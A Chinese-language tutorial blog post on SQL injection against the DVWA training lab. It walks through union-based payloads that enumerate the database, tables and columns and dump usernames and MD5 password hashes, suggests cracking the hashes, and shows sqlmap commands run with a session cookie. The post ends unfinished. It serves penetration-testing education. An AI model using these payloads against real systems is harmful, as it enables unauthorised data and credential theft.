SQL注入(SQL Injection) - DVWA靶机 -渗透教程

SQL注入(SQL Injection) - DVWA靶机 -渗透教程

·

3 min read

SQL注入(SQL Injection)

SQL注入简介

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。 -- 百度百科

SQL是操作数据库数据的结构化查询语言,网页的应用数据和后台数据库中的数据进行交互时会采用SQL。

SQL注入是将Web页面的原URL、表单域或数据包输入的参数,修改拼接成SQL语句。

注入类型:

  • 普通SQL注入
  • SQL盲注

注入方法:

  • 字符型注入
测试字符串奇怪的变型返回结果
数据库返回错误
’ or ‘1’ = '1') \('1'='1
’ or ‘1’ = '2') && (‘1’ = '2空,不影响返回结果
’ and ‘1’ = '2') && (‘1’ = '2假,返回空
  • 数字型注入
测试字符串奇怪的变型返回结果
数据库返回错误
’ ; #’ ) ; #数据库返回错误
or 1 = 1) \(1 = 1
or 1 = 2) \(1 = 2
and 1 = 2) && (1 = 2假,返回空

配置靶机

这里使用DVWA靶机,安装教程:DVWA靶机安装方法

开始攻击(普通SQL注入)

1. 判断注入点

注入点是指能和服务器的交流,并执行SQL语句。常见的有 登录表单,文章列表,搜索等等

我们打开DVWA靶机(靶机难度设置为:LOW),

uTools_1613030953892.png

我们可以看到这里有一个搜索表单

搜索 "1":

uTools_1613030411214.png 服务器返回错误

url是http://192.168.1.150/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#

从这里我们可以看出url的参数id存在sql注入

2.利用注入点

我们查看服务器源码:

uTools_1613030418629.png

可以看到sql语句为:

SELECT first_name, last_name FROM users WHERE user_id = '$id';

这是一个非常常见的sql语句

我们可以使用 'or 1=1 # ,返回全部数据

uTools_1613030411214.png

为什么'or 1=1 #能这样操作呢?

当我们把2个语句拼接在一起时就知道了

SELECT first_name, last_name FROM users WHERE user_id = ''or 1=1 #';

我们可以看到'与前面的'拼接在一起了,而#又注释掉了后面的'.

这样我们就实现了执行自己的sql代码

进一步攻击

接下来,进行进一步的攻击,不会讲那么详细,不懂的,可以百度相关SQL语句

  1. 猜解SQL查询语句中的字段数

输入 1' or 1=1 order by 1 # 返回成功

1' or 1=1 order by 2 # 返回成功

1' or 1=1 order by 3 # 返回失败

uTools_1613030596328.png

说明SQL查询语句中的字段数为2个

  1. 获取当前数据库

输入 1' union select 1,database() # 成功

uTools_1613040976692.png

说明dvwa为数据库名称 不懂 百度%E5%87%BD%E6%95%B0);MySQL DATABASE() 函数使用方法及示例

  1. 获取数据库中的表

输入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # 成功

uTools_1613030929661.png

获得数据库中的表 guestbook, users

  1. 获取表中的字段名

输入1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' # 成功

uTools_1613031049000.png

获得表中的字段名 user_id, first_name, last_name, user, password, avatar, last_login, failed_login

  1. 获取你想要的数据😋

输入 1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users # 成功

uTools_1613031153656.png

获取用户名,和md5加密后的密码(找个md5解码的开一下,或者自己跑跑彩虹表)

SQLMap - 自动化sql注入神器

sqlmap 是一个开源渗透测试工具,它可以自动检测和利用 SQL 注入漏洞并接管数据库服务器。它具有强大的检测引擎,同时有众多功能,包括数据库指纹识别、从数据库中获取数据、访问底层文件系统以及在操作系统上带内连接执行命令。

首先下载sqlmap 下载

解压得到

uTools_1613031359277.png

使用 python命令运行 (请确定你有Python环境)

python sqlmap.py

SQLMap的一些运行参数: |命令|作用| |--|--| |sqlmap --version|查看sqlmap版本信息.| |-h|查看功能参数(常用的)| |-hh|查看所有的参数 (如果有中文包 就最好了)| |-v|显示更详细的信息 一共7级, 从0-6.默认为1, 数值越大,信息显示越详细.| |-d|直接连接数据库侦听端口,类似于把自己当一个客户端来连接.| |-u|指定url扫描,但url必须存在查询参数. 例: xxx.php?id=1| |-l|指定logfile文件进行扫描,可以结合burp 把访问的记录保存成一个log文件, sqlmap可以直接加载burp保存到log文件进行扫描| |-x|以xml的形式提交一个站点地图给sqlmap| |-m|如果有多个url地址,可以把多个url保存成一个文本文件 -m可以加载文本文件逐个扫描| |-r|把http的请求头,body保存成一个文件 统一提交给sqlmap,sqlmap会读取内容进行拼接请求体| |-g|利用谷歌搜索引擎搭配正则来过滤你想要的| |-c|加载配置文件,配置文件可以指定扫描目标,扫描方式,扫描内容等等.加载了配置文件sqlmap就会根据文件内容进行特定的扫描|

在这里我们使用 -u 命令来执行攻击

 python sqlmap.py -u "http://192.168.1.150/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#"

运行了一会后,你会发现他提示没有漏洞,那是因为sqlmap没有登录dvwa靶机

uTools_1613032089147.png

我们可以使用 -cookie来解决这个问题

先获取dvwa登录后的cookie

可以在浏览器控制台运行:document.cookie 获取cookie

uTools_1613032263140.png

  python sqlmap.py -u "http://192.168.1.150/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" 
  -cookie= "security=low;serverType=nginx;order=id%20desc;memSize=972;distribution=ubuntu;sites_path=/www/wwwroot;force=0;uploadSize=1073741824;rank=a;backup_path=/www/backup;Path=/www/wwwroot/192.168.1.150;layers=1;vcodesum=18;request_token=bnuVjPRR5veeGAfD6hpkRry8GiLt3UZRBn4OnuRuejlrvMIr;pnull=1;softType=5;load_type=5;load_search=undefined;p5=2;load_page=2;PHPSESSID=qul1864skk706jkveju7i460ac"

uTools_1613032356430.png

注意这里是他要跳转,要输入 n 加回车

以后更新😂